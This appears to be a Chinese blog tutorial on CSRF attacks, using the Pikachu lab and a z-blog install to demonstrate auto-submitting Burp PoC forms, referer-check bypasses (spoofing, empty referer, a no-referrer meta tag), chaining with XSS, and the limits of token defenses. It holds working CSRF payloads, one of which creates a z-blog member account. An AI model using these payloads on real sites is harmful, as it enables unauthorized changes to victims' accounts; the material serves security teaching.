CSRF 漏洞原理演示 && 基本绕过(同源 异源)&& 配合XSS&Token值校验&复用删除

前言

CSRF的基本原理 就是 举例 我们伪造一个支付宝的转账请求(抓包获取的),受害者 : 正好登录着支付宝(后台)的 同时点击了我们伪造的(包含恶意请求)网址 从而导致先我们进行转账

条件: 1、需要伪造的数据包

2、无过滤防护

3、受害者需要触发(诱惑)

演示

条件 :有条件的可以 申请2个服务器 不行就使用同一局域网下的2个电脑(一个搭建CMS 一个搭建攻击网站)

抓包构造 poc

创建一个 add.html 把生成的 poc 复制到里面(记得勾选 自动点击 不然就需要用户自己点击才能 进行跳转)

复制代码
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://121.199.174.104/vul/csrf/csrfget/csrf_get_edit.php">
      <input type="hidden" name="sex" value="girl" />
      <input type="hidden" name="phonenum" value="88888888" />
      <input type="hidden" name="add" value="usa" />
      <input type="hidden" name="email" value="lucy&#64;pikachu&#46;com" />
      <input type="hidden" name="submit" value="submit" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

搭建靶场 把恶意的请求放到网站目录

恶意的网站页面

当我们直接进行访问时(需要后台登录过 pikachu 后台 不然没有cookie验证也是进不去的)

点击跳转 发现手机号被修改了 这个就是防护的CSRF的修改 发现这种跨站是非常危险的

CSRF的基本绕过

一般就是网站会设置 获取refer头信息从而来判断是否要拒绝你的访问(获取referer头的方法)

网站是怎么进行waf的 :

复制代码
<?php 
// 定义一个变量,用于存放flag
$flag = 123456;
$refer = $_SERVER['HTTP_REFERER'];  // 获取HTTP_REFERER  获取referer头部
echo $refer;  // 输出referer头部
if ($refer == "http://xiaodi8.com") {  // 判断referer是否为xiaodi8.com
    echo $flag;  // 输出flag
}else{
    echo "非法访问";  // 输出非法访问
}

在网站目录下新建一个 php文件储存上边这个 代码 我们使用 本机去访问

访问发现出现了 非法访问没有出现flag

抓个包 修改refer头 这个时候就可以访问成功了

2个点 : 我们要修改的referer头 是一一对应的 : 解决方法 : 结合文件上传(把恶意代码的html文件上传到网站上) 让受害者主动访问 目标网站

结合 XXS 这个网站上有XXS 我们可以构造一个 重定向的一个payload 然后让其使用他的本地正确的网站进行

我们要修改的是模糊匹配的(有这个地址就行):这个的玩法 就是在你的请求服务器上把这个数据包的伪造请求放到 受害者地址的目录下(这个目录需要手动的创建)

这个也是需要一个条件就是 需要是 受害者点击进行的

实战 利用z-blog

zblog的搭建 直接使用小皮面板放到网站目录下

密码是 Abc123456

抓取请求包

生成 CSRF的poc 我们把这个代码粘贴到 add.html 内

复制代码
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://121.199.174.104/zb_system/cmd.php?act=MemberPst&csrfToken=19a6ce97294a905a4c37f883ed6bc9d0" method="POST">
      <input type="hidden" name="ID" value="0" />
      <input type="hidden" name="Level" value="6" />
      <input type="hidden" name="Status" value="0" />
      <input type="hidden" name="Name" value="�&#174;&#191;�&#174;&#162;" />
      <input type="hidden" name="Password" value="Abc123456" />
      <input type="hidden" name="PasswordRe" value="Abc123456" />
      <input type="hidden" name="Alias" value="" />
      <input type="hidden" name="Email" value="1111&#64;qq&#46;com" />
      <input type="hidden" name="HomePage" value="" />
      <input type="hidden" name="Intro" value="" />
      <input type="hidden" name="Template" value="index" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

复制完成之后 记得把burp内的包给丢弃

这个是没进行修改的

我们访问 add.html

发现是非法访问的 我们审查一下 zblog的源代码

http://121.199.174.104/zb_system/cmd.php?act=MemberPst&csrfToken=19a6ce97294a905a4c37f883ed6bc9d0

这个是路径 发现是在cmd.php

这边我们 试一下修改 referer 头试试是否可以直接绕过

修改referer头为网站自身的

发现是修改成功的 但是这个名字有点问题

当然除了这些还有个就是无referer的逻辑

1、空 referer: 直接把referer= 后边的值删除

2、置空 : 在我们伪造的请求poc中的开头加入<meta name="referrer" content="no-referrer">

即可利用

逻辑的原理 : 我们看直接查看 zblog的源码

置空的逻辑(如果没有referer 就会返回true)就是 利用的我们退出当前页面之后 如果想再次返回的时候因为浏览器储存这cookie 所以会直接进入 但是这个二次进入是没有来源的就是没有referer

CSRF的token防护

从上边的那个url请求我们可以看出来 这个后边有个csrftoken=xxxxxx的 其实这个token

一般情况是绕过不了的

第二种防护机制 CSRF token防护 : 特点就是 token具有唯一性和随机性 我们每访问一次界面就会有一个token随机(token 是在退出重进为一次单位)

正常的token 我们访问一次就会刷新一次

置空

删除

复用

在CSRF中的作用还是比较有限的是因为 复用的一般是受害者登录的token

口诀 : 发现token 上边三个都没用 准备跑路

相关推荐
神的孩子都在歌唱3 小时前
VLAN 是什么?如何用 VLAN 提高网络安全与效率?
网络·安全·web安全
LRX_1989273 小时前
网络管理员教程(初级)第六版--第5章网络安全及管理
网络·安全·web安全
卓豪终端管理7 小时前
安全事件实时预警:构筑企业终端安全的“智能防线”
网络·安全·web安全
挨踢攻城7 小时前
网络安全 | 如何防御勒索软件?
安全·web安全·网络安全·php·厦门微思网络·防疫勒索软件
无盐海12 小时前
CSRF漏洞攻击(跨站请求伪造攻击)
前端·csrf
网络安全-海哥17 小时前
Web安全深度实战:从漏洞原理到防护方案
sql·web安全·网络安全·xss·csrf·漏洞挖掘·安全防护
网络安全-海哥1 天前
2025网络安全前景与学习路线:抓住数字时代的安全机遇
学习·web安全·网络安全·网络攻击·转行
风语者日志1 天前
攻防世界—easyupload
数据库·web安全·ctf·小白入门
滑水滑成滑头1 天前
**发散创新:探索零信任网络下的安全编程实践**随着信息技术的飞速发展,网络安全问题日益凸显。传统的网络安全防护方式已难以
java·网络·python·安全·web安全
光影少年2 天前
网络安全生态及学习路线
学习·安全·web安全